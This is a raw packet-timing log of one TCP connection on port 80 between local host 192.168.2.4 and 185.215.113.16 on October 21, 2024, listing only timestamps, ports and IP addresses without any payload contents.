Oct 21, 2024 10:47:11.210484982 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.210498095 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.210537910 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.210537910 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.210583925 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.210612059 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.210643053 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.210654974 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.210690975 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.210748911 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.210758924 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.210832119 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.211654902 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.211664915 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.211711884 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.211834908 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.211855888 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.211865902 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.211884975 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.211910009 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.211916924 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.211971045 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.212129116 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.212136984 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.212193966 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.212198019 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.212209940 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.212219954 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.212233067 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.212269068 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.212280035 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.212393999 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.212405920 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.212415934 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.212424040 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.212508917 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.213710070 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.213752031 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.213762045 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.213767052 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.213812113 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.214848995 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.214891911 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.214901924 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.215075970 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.216223955 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.216244936 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.216255903 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.216315985 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.216370106 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.216429949 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.216576099 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.216587067 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.216597080 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.216639042 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.216681957 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.216759920 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.216770887 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.216825008 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.216856003 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.216866016 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.216902018 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.216919899 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.216939926 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.216943979 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.216995955 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.217010021 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.217036963 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.217071056 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.217096090 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.217252970 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.217266083 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.217276096 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.217314005 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.217349052 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.218739986 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.218795061 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.218813896 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.218823910 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.218835115 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.218852043 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.218863010 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.218866110 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.218882084 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.218916893 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.218944073 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.258749008 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.258799076 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.258810043 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.258919001 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.361825943 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.361913919 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.361923933 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.361928940 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.361937046 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.361972094 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.361991882 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.361999035 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.362005949 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.362046957 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.363101006 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.363112926 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.363123894 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.363164902 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.363202095 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.363298893 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.363310099 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.363322020 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.363358021 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.363406897 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.363601923 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.363656044 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.363658905 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.363667011 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.363678932 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.363708973 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.363732100 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.364557981 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.364598989 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.364609957 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.364622116 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.364655972 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.364664078 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.364675045 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.364729881 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.364908934 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.364931107 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.364939928 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.364989042 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.365029097 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.365070105 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.365082026 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.365092039 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.365159988 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.365386963 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.365410089 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.365418911 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.365444899 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.365477085 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.365494967 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.365526915 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.365750074 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.365768909 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.365778923 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.365789890 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.365794897 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.365801096 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.365910053 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.366915941 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.366925955 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.366935968 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.366946936 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.366964102 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.366980076 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.367024899 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.367024899 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.367057085 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.367185116 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.367459059 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.367515087 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.367537022 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.367599010 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.367641926 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.367713928 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.367773056 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.367851973 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.367875099 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.367886066 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.368294954 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.368314981 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.368324995 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.369189978 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.369229078 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.369237900 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.369247913 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.369743109 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.369755030 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.369765043 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.371136904 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.371225119 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.371234894 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.371246099 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.373467922 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.373482943 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.373522043 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.373534918 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.373544931 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.373564005 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.373575926 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.373588085 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.373600006 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.373610973 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.373620987 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.373634100 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.373651028 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.373662949 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.373676062 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.373687029 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.373697042 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.373708010 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.373720884 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.381443977 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.381840944 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.381882906 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.381905079 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.419575930 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.419605017 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.419615984 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.419627905 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.419672012 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.419719934 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.516752958 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.516777039 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.516789913 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.516804934 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.516819000 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.516823053 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.516832113 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.516882896 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.517023087 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.517899036 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.517924070 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.517932892 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.517961979 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.517972946 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.517982006 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.517983913 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.518021107 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.526612997 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.526629925 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.526637077 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.526722908 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.532068968 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.532094955 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.532104015 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.532121897 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.532131910 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.532140017 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.532160997 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.532165051 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.532175064 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.532186031 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.532197952 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.532218933 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.532244921 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.532253027 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.532267094 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.532296896 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.532341003 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.532372952 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.532383919 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.532394886 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.532403946 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.532414913 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.532430887 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.532443047 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.532572031 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.532788038 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.532798052 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.532807112 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.532814980 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.532824993 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.532835960 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.532850981 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.532857895 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.532874107 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.532880068 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.532886982 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.532897949 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.532908916 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.532908916 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.532919884 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.532932043 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.532941103 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.532951117 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.532952070 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.532963991 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.532998085 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.533024073 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.533065081 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.533185005 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.533330917 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.533340931 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.533353090 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.533380032 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.533387899 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.533392906 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.533399105 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.533412933 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.533442020 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.533466101 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.533473015 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.533592939 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.533638954 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.533648014 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.533658028 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.533668995 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.533679008 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.533690929 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.533703089 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.533777952 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.533835888 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.533859968 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.533869982 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.533888102 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.533895016 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.533899069 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.533910990 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.533989906 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.534071922 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.534126997 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.574376106 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.574387074 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.574398041 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.574404001 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.574855089 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.615225077 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.615236998 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.615247965 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.615478992 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.671442032 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.671454906 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.671467066 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.671475887 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.671487093 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.671498060 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.671509027 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.671561956 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:11.672554970 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.672585011 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.672591925 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.672622919 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:11.672636986 CEST	80	49855	185.215.113.16	192.168.2.4
